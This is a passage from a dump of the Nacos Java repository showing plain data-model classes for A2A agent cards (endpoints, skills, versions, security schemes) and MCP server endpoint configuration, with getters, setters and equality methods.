defaultInputModes;\n    }\n    \n    public void setDefaultInputModes(List<String> defaultInputModes) {\n        this.defaultInputModes = defaultInputModes;\n    }\n    \n    public List<String> getDefaultOutputModes() {\n        return defaultOutputModes;\n    }\n    \n    public void setDefaultOutputModes(List<String> defaultOutputModes) {\n        this.defaultOutputModes = defaultOutputModes;\n    }\n    \n    public Boolean getSupportsAuthenticatedExtendedCard() {\n        return supportsAuthenticatedExtendedCard;\n    }\n    \n    public void setSupportsAuthenticatedExtendedCard(Boolean supportsAuthenticatedExtendedCard) {\n        this.supportsAuthenticatedExtendedCard = supportsAuthenticatedExtendedCard;\n    }\n    \n    @Override\n    public boolean equals(Object o) {\n        if (this == o) {\n            return true;\n        }\n        if (o == null || getClass() != o.getClass()) {\n            return false;\n        }\n        if (!super.equals(o)) {\n            return false;\n        }\n        AgentCard agentCard = (AgentCard) o;\n        return super.equals(agentCard) && Objects.equals(url, agentCard.url) && Objects.equals(preferredTransport,\n                agentCard.preferredTransport) && Objects.equals(additionalInterfaces, agentCard.additionalInterfaces)\n                && Objects.equals(provider, agentCard.provider) && Objects.equals(documentationUrl,\n                agentCard.documentationUrl) && Objects.equals(securitySchemes, agentCard.securitySchemes)\n                && Objects.equals(security, agentCard.security) && Objects.equals(defaultInputModes,\n                agentCard.defaultInputModes) && Objects.equals(defaultOutputModes, agentCard.defaultOutputModes)\n                && Objects.equals(supportsAuthenticatedExtendedCard, agentCard.supportsAuthenticatedExtendedCard);\n    }\n    \n    @Override\n    public int hashCode() {\n        return Objects.hash(super.hashCode(), url, preferredTransport, additionalInterfaces, provider, documentationUrl,\n                securitySchemes, security, defaultInputModes, defaultOutputModes, supportsAuthenticatedExtendedCard);\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/a2a/AgentCardBasicInfo.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.a2a;\n\nimport java.util.List;\nimport java.util.Objects;\n\n/**\n * Basic info of agent card.\n *\n * @author xiweng.yy\n */\npublic class AgentCardBasicInfo {\n    \n    private String protocolVersion;\n    \n    private String name;\n    \n    private String description;\n    \n    private String version;\n    \n    private String iconUrl;\n    \n    private AgentCapabilities capabilities;\n    \n    private List<AgentSkill> skills;\n    \n    public String getProtocolVersion() {\n        return protocolVersion;\n    }\n    \n    public void setProtocolVersion(String protocolVersion) {\n        this.protocolVersion = protocolVersion;\n    }\n    \n    public String getName() {\n        return name;\n    }\n    \n    public void setName(String name) {\n        this.name = name;\n    }\n    \n    public String getDescription() {\n        return description;\n    }\n    \n    public void setDescription(String description) {\n        this.description = description;\n    }\n    \n    public String getVersion() {\n        return version;\n    }\n    \n    public void setVersion(String version) {\n        this.version = version;\n    }\n    \n    public String getIconUrl() {\n        return iconUrl;\n    }\n    \n    public void setIconUrl(String iconUrl) {\n        this.iconUrl = iconUrl;\n    }\n    \n    public AgentCapabilities getCapabilities() {\n        return capabilities;\n    }\n    \n    public void setCapabilities(AgentCapabilities capabilities) {\n        this.capabilities = capabilities;\n    }\n    \n    public List<AgentSkill> getSkills() {\n        return skills;\n    }\n    \n    public void setSkills(List<AgentSkill> skills) {\n        this.skills = skills;\n    }\n    \n    @Override\n    public boolean equals(Object o) {\n        if (this == o) {\n            return true;\n        }\n        if (o == null || getClass() != o.getClass()) {\n            return false;\n        }\n        AgentCardBasicInfo that = (AgentCardBasicInfo) o;\n        return Objects.equals(protocolVersion, that.protocolVersion) && Objects.equals(name, that.name)\n                && Objects.equals(description, that.description) && Objects.equals(version, that.version)\n                && Objects.equals(iconUrl, that.iconUrl) && Objects.equals(capabilities, that.capabilities)\n                && Objects.equals(skills, that.skills);\n    }\n    \n    @Override\n    public int hashCode() {\n        return Objects.hash(protocolVersion, name, description, version, iconUrl, capabilities, skills);\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/a2a/AgentCardDetailInfo.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.a2a;\n\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\n\n/**\n * Agent Card detail info with Nacos extension field.\n *\n * @author xiweng.yy\n */\npublic class AgentCardDetailInfo extends AgentCard {\n    \n    private String registrationType = AiConstants.A2a.A2A_ENDPOINT_TYPE_URL;\n    \n    private Boolean latestVersion;\n    \n    public String getRegistrationType() {\n        return registrationType;\n    }\n    \n    public void setRegistrationType(String registrationType) {\n        this.registrationType = registrationType;\n    }\n    \n    public Boolean isLatestVersion() {\n        return latestVersion;\n    }\n    \n    public void setLatestVersion(Boolean latestVersion) {\n        this.latestVersion = latestVersion;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/a2a/AgentCardVersionInfo.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.api.ai.model.a2a;\n\nimport java.util.List;\nimport java.util.Objects;\n\n/**\n * AgentCardVersionInfo.\n *\n * @author KiteSoar\n */\npublic class AgentCardVersionInfo extends AgentCardBasicInfo {\n    \n    private String latestPublishedVersion;\n    \n    private List<AgentVersionDetail> versionDetails;\n    \n    private String registrationType;\n    \n    public String getLatestPublishedVersion() {\n        return latestPublishedVersion;\n    }\n    \n    public void setLatestPublishedVersion(String latestPublishedVersion) {\n        this.latestPublishedVersion = latestPublishedVersion;\n    }\n    \n    public List<AgentVersionDetail> getVersionDetails() {\n        return versionDetails;\n    }\n    \n    public void setVersionDetails(List<AgentVersionDetail> versionDetails) {\n        this.versionDetails = versionDetails;\n    }\n    \n    public String getRegistrationType() {\n        return registrationType;\n    }\n    \n    public void setRegistrationType(String registrationType) {\n        this.registrationType = registrationType;\n    }\n    \n    @Override\n    public boolean equals(Object o) {\n        if (o == null || getClass() != o.getClass()) {\n            return false;\n        }\n        if (!super.equals(o)) {\n            return false;\n        }\n        AgentCardVersionInfo that = (AgentCardVersionInfo) o;\n        return Objects.equals(latestPublishedVersion, that.latestPublishedVersion) && Objects.equals(versionDetails,\n                that.versionDetails) && Objects.equals(registrationType, that.registrationType);\n    }\n    \n    @Override\n    public int hashCode() {\n        return Objects.hash(super.hashCode(), latestPublishedVersion, versionDetails, registrationType);\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/a2a/AgentEndpoint.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.a2a;\n\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.utils.StringUtils;\n\nimport java.util.Objects;\n\n/**\n * Agent endpoint for A2A protocol.\n *\n * <p>\n *     Details split version of {@link AgentInterface}.\n * </p>\n *\n * @author xiweng.yy\n */\npublic class AgentEndpoint {\n    \n    /**\n     * Same with {@link AgentInterface#transport}, Default `JSONRPC`.\n     */\n    private String transport = AiConstants.A2a.A2A_ENDPOINT_DEFAULT_TRANSPORT;\n    \n    /**\n     * Will be joined with {@link #port}, {@link #path}, {@link #protocol}. Such as `<a href=\"protocol://address:port/path?query\">...</a>`\n     */\n    private String address;\n    \n    private int port;\n    \n    private String path = StringUtils.EMPTY;\n    \n    /**\n     * If {@code true}, the target {@link AgentInterface} should be `https`, otherwise should be `http`. Default {@code false}.\n     */\n    private boolean supportTls;\n    \n    private String version;\n    \n    /**\n     * Custom Protocol for A2A transport. Default `HTTP`.\n     *\n     * @since 3.1.1\n     */\n    private String protocol = AiConstants.A2a.A2A_ENDPOINT_DEFAULT_PROTOCOL;\n    \n    /**\n     * Custom query for A2A url.\n     *\n     * @since 3.1.1\n     */\n    private String query;\n    \n    public String getAddress() {\n        return address;\n    }\n    \n    public void setAddress(String address) {\n        this.address = address;\n    }\n    \n    public int getPort() {\n        return port;\n    }\n    \n    public void setPort(int port) {\n        this.port = port;\n    }\n    \n    public String getTransport() {\n        return transport;\n    }\n    \n    public void setTransport(String transport) {\n        this.transport = transport;\n    }\n    \n    public String getPath() {\n        return path;\n    }\n    \n    public void setPath(String path) {\n        this.path = path;\n    }\n    \n    public boolean isSupportTls() {\n        return supportTls;\n    }\n    \n    public void setSupportTls(boolean supportTls) {\n        this.supportTls = supportTls;\n    }\n    \n    public String getVersion() {\n        return version;\n    }\n    \n    public void setVersion(String version) {\n        this.version = version;\n    }\n    \n    public String getProtocol() {\n        return protocol;\n    }\n    \n    public void setProtocol(String protocol) {\n        this.protocol = protocol;\n    }\n    \n    public String getQuery() {\n        return query;\n    }\n    \n    public void setQuery(String query) {\n        this.query = query;\n    }\n    \n    /**\n     * Only simple check address(IP or domain) and port.\n     *\n     * @param endpoint target endpoint\n     * @return {@code true} if is equal, otherwise {@code false}\n     */\n    public boolean simpleEquals(AgentEndpoint endpoint) {\n        return Objects.equals(address, endpoint.address) && Objects.equals(port, endpoint.port);\n    }\n    \n    @Override\n    public boolean equals(Object o) {\n        if (this == o) {\n            return true;\n        }\n        if (o == null || getClass() != o.getClass()) {\n            return false;\n        }\n        AgentEndpoint endpoint = (AgentEndpoint) o;\n        return port == endpoint.port && supportTls == endpoint.supportTls && Objects.equals(transport,\n                endpoint.transport) && Objects.equals(address, endpoint.address) && Objects.equals(path, endpoint.path)\n                && Objects.equals(version, endpoint.version) && Objects.equals(protocol, endpoint.protocol)\n                && Objects.equals(query, endpoint.query);\n    }\n    \n    @Override\n    public int hashCode() {\n        return Objects.hash(transport, address, port, path, supportTls, version, protocol, query);\n    }\n    \n    @Override\n    public String toString() {\n        return \"AgentEndpoint{\" + \"transport='\" + transport + '\\'' + \", address='\" + address + '\\'' + \", port=\" + port\n                + \", path='\" + path + '\\'' + \", supportTls=\" + supportTls + \", version='\" + version + '\\''\n                + \", protocol='\" + protocol + '\\'' + \", query='\" + query + '\\'' + '}';\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/a2a/AgentExtension.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.api.ai.model.a2a;\n\nimport java.util.Map;\nimport java.util.Objects;\n\n/**\n * AgentExtension.\n *\n * @author KiteSoar\n */\npublic class AgentExtension {\n    \n    private String uri;\n    \n    private String description;\n    \n    private Boolean required;\n    \n    private Map<String, Object> params;\n    \n    public String getUri() {\n        return uri;\n    }\n    \n    public void setUri(String uri) {\n        this.uri = uri;\n    }\n    \n    public String getDescription() {\n        return description;\n    }\n    \n    public void setDescription(String description) {\n        this.description = description;\n    }\n    \n    public Boolean getRequired() {\n        return required;\n    }\n    \n    public void setRequired(Boolean required) {\n        this.required = required;\n    }\n    \n    public Map<String, Object> getParams() {\n        return params;\n    }\n    \n    public void setParams(Map<String, Object> params) {\n        this.params = params;\n    }\n    \n    @Override\n    public boolean equals(Object o) {\n        if (o == null || getClass() != o.getClass()) {\n            return false;\n        }\n        AgentExtension that = (AgentExtension) o;\n        return Objects.equals(uri, that.uri) && Objects.equals(description, that.description) && Objects.equals(\n                required, that.required) && Objects.equals(params, that.params);\n    }\n    \n    @Override\n    public int hashCode() {\n        return Objects.hash(uri, description, required, params);\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/a2a/AgentInterface.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.api.ai.model.a2a;\n\nimport java.util.Objects;\n\n/**\n * AgentInterface.\n *\n * @author KiteSoar\n */\npublic class AgentInterface {\n    \n    private String url;\n    \n    private String transport;\n    \n    public String getUrl() {\n        return url;\n    }\n    \n    public void setUrl(String url) {\n        this.url = url;\n    }\n    \n    public String getTransport() {\n        return transport;\n    }\n    \n    public void setTransport(String transport) {\n        this.transport = transport;\n    }\n    \n    @Override\n    public boolean equals(Object o) {\n        if (o == null || getClass() != o.getClass()) {\n            return false;\n        }\n        AgentInterface that = (AgentInterface) o;\n        return Objects.equals(url, that.url) && Objects.equals(transport, that.transport);\n    }\n    \n    @Override\n    public int hashCode() {\n        return Objects.hash(url, transport);\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/a2a/AgentProvider.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.api.ai.model.a2a;\n\nimport java.util.Objects;\n\n/**\n * AgentInterface.\n *\n * @author KiteSoar\n */\npublic class AgentProvider {\n    \n    private String organization;\n    \n    private String url;\n    \n    public String getOrganization() {\n        return organization;\n    }\n    \n    public void setOrganization(String organization) {\n        this.organization = organization;\n    }\n    \n    public String getUrl() {\n        return url;\n    }\n    \n    public void setUrl(String url) {\n        this.url = url;\n    }\n    \n    @Override\n    public boolean equals(Object o) {\n        if (o == null || getClass() != o.getClass()) {\n            return false;\n        }\n        AgentProvider that = (AgentProvider) o;\n        return Objects.equals(organization, that.organization) && Objects.equals(url, that.url);\n    }\n    \n    @Override\n    public int hashCode() {\n        return Objects.hash(organization, url);\n    }\n}\n    \n\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/a2a/AgentSkill.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.api.ai.model.a2a;\n\nimport java.util.List;\nimport java.util.Objects;\n\n/**\n * AgentSkill.\n *\n * @author KiteSoar\n */\npublic class AgentSkill {\n    \n    private String id;\n    \n    private String name;\n    \n    private String description;\n    \n    private List<String> tags;\n    \n    private List<String> examples;\n    \n    private List<String> inputModes;\n    \n    private List<String> outputModes;\n    \n    public String getId() {\n        return id;\n    }\n    \n    public void setId(String id) {\n        this.id = id;\n    }\n    \n    public String getName() {\n        return name;\n    }\n    \n    public void setName(String name) {\n        this.name = name;\n    }\n    \n    public String getDescription() {\n        return description;\n    }\n    \n    public void setDescription(String description) {\n        this.description = description;\n    }\n    \n    public List<String> getTags() {\n        return tags;\n    }\n    \n    public void setTags(List<String> tags) {\n        this.tags = tags;\n    }\n    \n    public List<String> getExamples() {\n        return examples;\n    }\n    \n    public void setExamples(List<String> examples) {\n        this.examples = examples;\n    }\n    \n    public List<String> getInputModes() {\n        return inputModes;\n    }\n    \n    public void setInputModes(List<String> inputModes) {\n        this.inputModes = inputModes;\n    }\n    \n    public List<String> getOutputModes() {\n        return outputModes;\n    }\n    \n    public void setOutputModes(List<String> outputModes) {\n        this.outputModes = outputModes;\n    }\n    \n    @Override\n    public boolean equals(Object o) {\n        if (o == null || getClass() != o.getClass()) {\n            return false;\n        }\n        AgentSkill that = (AgentSkill) o;\n        return Objects.equals(id, that.id) && Objects.equals(name, that.name) && Objects.equals(description,\n                that.description) && Objects.equals(tags, that.tags) && Objects.equals(examples, that.examples)\n                && Objects.equals(inputModes, that.inputModes) && Objects.equals(outputModes, that.outputModes);\n    }\n    \n    @Override\n    public int hashCode() {\n        return Objects.hash(id, name, description, tags, examples, inputModes, outputModes);\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/a2a/AgentVersionDetail.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.api.ai.model.a2a;\n\nimport java.util.Objects;\n\n/**\n * AgentVersionDetail.\n *\n * @author KiteSoar\n */\npublic class AgentVersionDetail {\n    \n    private String version;\n    \n    private String createdAt;\n    \n    private String updatedAt;\n    \n    private boolean isLatest;\n    \n    public String getVersion() {\n        return version;\n    }\n    \n    public void setVersion(String version) {\n        this.version = version;\n    }\n    \n    public String getCreatedAt() {\n        return createdAt;\n    }\n    \n    public void setCreatedAt(String createdAt) {\n        this.createdAt = createdAt;\n    }\n    \n    public String getUpdatedAt() {\n        return updatedAt;\n    }\n    \n    public void setUpdatedAt(String updatedAt) {\n        this.updatedAt = updatedAt;\n    }\n    \n    public boolean isLatest() {\n        return isLatest;\n    }\n    \n    public void setLatest(boolean latest) {\n        isLatest = latest;\n    }\n    \n    @Override\n    public boolean equals(Object o) {\n        if (o == null || getClass() != o.getClass()) {\n            return false;\n        }\n        AgentVersionDetail that = (AgentVersionDetail) o;\n        return Objects.equals(version, that.version) && Objects.equals(createdAt, that.createdAt) && Objects.equals(\n                updatedAt, that.updatedAt) && Objects.equals(isLatest, that.isLatest);\n    }\n    \n    @Override\n    public int hashCode() {\n        return Objects.hash(version, createdAt, updatedAt, isLatest);\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/a2a/SecurityScheme.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.api.ai.model.a2a;\n\nimport java.util.HashMap;\n\n/**\n * SecurityScheme.\n *\n * @author KiteSoar\n */\npublic class SecurityScheme extends HashMap<String, Object> {\n    \n    private static final long serialVersionUID = -708604225878249736L;\n    \n    public SecurityScheme() {\n        super(4);\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/mcp/EncryptObject.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp;\n\nimport java.io.Serializable;\nimport java.util.Map;\n\n/**\n * Encrypted payload wrapper for MCP tool specification.\n * Holds ciphertext and encryption metadata (algorithm, iv, keyId, version, etc.).\n * @author luoxiner\n */\npublic class EncryptObject implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n    /**\n     * The ciphertext or encoded payload.\n     */\n    private String data;\n\n    /**\n     * Additional encryption metadata, e.g. alg, iv, keyId, version.\n     */\n    private Map<String, String> encryptInfo;\n\n    public String getData() {\n        return data;\n    }\n\n    public void setData(String data) {\n        this.data = data;\n    }\n\n    public Map<String, String> getEncryptInfo() {\n        return encryptInfo;\n    }\n\n    public void setEncryptInfo(Map<String, String> encryptInfo) {\n        this.encryptInfo = encryptInfo;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/mcp/FrontEndpointConfig.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp;\n\nimport com.alibaba.nacos.api.ai.model.mcp.registry.KeyValueInput;\n\nimport java.util.List;\n\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\n\n/**\n * Specific endpoint information exposed to the outside.\n *\n * @author OmCheeLin\n */\npublic class FrontEndpointConfig {\n    \n    private String type;\n    \n    private String protocol;\n    \n    private String endpointType;\n    \n    /**\n     * According To the {@link #endpointType}, the data type will be different.\n     * <ul>\n     *     <li>If {@link AiConstants.Mcp#MCP_ENDPOINT_TYPE_REF}, the data type is {@link McpServiceRef}</li>\n     *     <li>If {@link AiConstants.Mcp#MCP_ENDPOINT_TYPE_DIRECT}, the data type is {@link String}</li>\n     *     <li>If {@link AiConstants.Mcp#MCP_FRONT_ENDPOINT_TYPE_TO_BACK}, the data is {@code null}</li>\n     * </ul>\n     */\n    private Object endpointData;\n    \n    private String path;\n\n    private List<KeyValueInput> headers; \n    \n    public String getType() {\n        return type;\n    }\n    \n    public void setType(String type) {\n        this.type = type;\n    }\n    \n    public String getProtocol() {\n        return protocol;\n    }\n    \n    public void setProtocol(String protocol) {\n        this.protocol = protocol;\n    }\n    \n    public String getEndpointType() {\n        return endpointType;\n    }\n    \n    public void setEndpointType(String endpointType) {\n        this.endpointType = endpointType;\n    }\n    \n    public Object getEndpointData() {\n        return endpointData;\n    }\n    \n    public void setEndpointData(Object endpointData) {\n        this.endpointData = endpointData;\n    }\n    \n    public String getPath() {\n        return path;\n    }\n    \n    public void setPath(String path) {\n        this.path = path;\n    }\n\n    public List<KeyValueInput> getHeaders() {\n        return headers;\n    }\n\n    public void setHeaders(List<KeyValueInput> headers) {\n        this.headers = headers;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/mcp/McpCapability.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp;\n\n/**\n * AI MCP Server Capability enum, Mark the MCP Server support which capability such as support tools, prompts or resources.\n *\n * @author xiweng.yy\n */\npublic enum McpCapability {\n    \n    /**\n     * The MCP Server provider tools.\n     */\n    TOOL,\n    \n    /**\n     * The MCP Server provider prompts.\n     */\n    PROMPT,\n    \n    /**\n     * The MCP Server provider resources.\n     */\n    RESOURCE;\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/mcp/McpEndpointInfo.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp;\n\nimport java.util.List;\n\nimport com.alibaba.nacos.api.ai.model.mcp.registry.KeyValueInput;\n\n/**\n * AI MCP backend endpoint info.\n *\n * @author xiweng.yy\n */\npublic class McpEndpointInfo {\n    \n    /**\n     * Indicate the protocol of the endpoint (http / https).\n     */\n    private String protocol;\n\n    private String address;\n    \n    private int port;\n    \n    private String path;\n\n    private List<KeyValueInput> headers;\n    \n    public String getAddress() {\n        return address;\n    }\n    \n    public void setAddress(String address) {\n        this.address = address;\n    }\n    \n    public int getPort() {\n        return port;\n    }\n    \n    public void setPort(int port) {\n        this.port = port;\n    }\n\n    public String getPath() {\n        return path;\n    }\n\n    public void setPath(String path) {\n        this.path = path;\n    }\n\n    public String getProtocol() {\n        return protocol;\n    }\n\n    public void setProtocol(String protocol) {\n        this.protocol = protocol;\n    }\n\n    public List<KeyValueInput> getHeaders() {\n        return headers;\n    }\n\n    public void setHeaders(List<KeyValueInput> headers) {\n        this.headers = headers;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/mcp/McpEndpointSpec.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp;\n\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * AI MCP Server Endpoint Specification.\n *\n * @author xiweng.yy\n */\npublic class McpEndpointSpec {\n    \n    /**\n     * Endpoint type. Should be {@link AiConstants.Mcp#MCP_ENDPOINT_TYPE_DIRECT} or\n     * {@link AiConstants.Mcp#MCP_ENDPOINT_TYPE_REF}.\n     */\n    private String type;\n    \n    /**\n     * Endpoint data. Depend on the `type`, the data should be different.\n     * <p>\n     *  If `type` is {@link AiConstants.Mcp#MCP_ENDPOINT_TYPE_DIRECT}, the data should be include `address` and `port` to\n     *  spec mcp server endpoint.\n     * </p>\n     * <p>\n     *  If `type` is {@link AiConstants.Mcp#MCP_ENDPOINT_TYPE_REF}, the data should be include `namespaceId`, `groupName` and `serviceName`\n     *  to spec the ref server which already register into Nacos.\n     * </p>\n     */\n    private Map<String, String> data = new HashMap<>();\n    \n    public String getType() {\n        return type;\n    }\n    \n    public void setType(String type) {\n        this.type = type;\n    }\n    \n    public Map<String, String> getData() {\n        return data;\n    }\n    \n    public void setData(Map<String, String> data) {\n        this.data = data;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/mcp/McpServerBasicInfo.java",
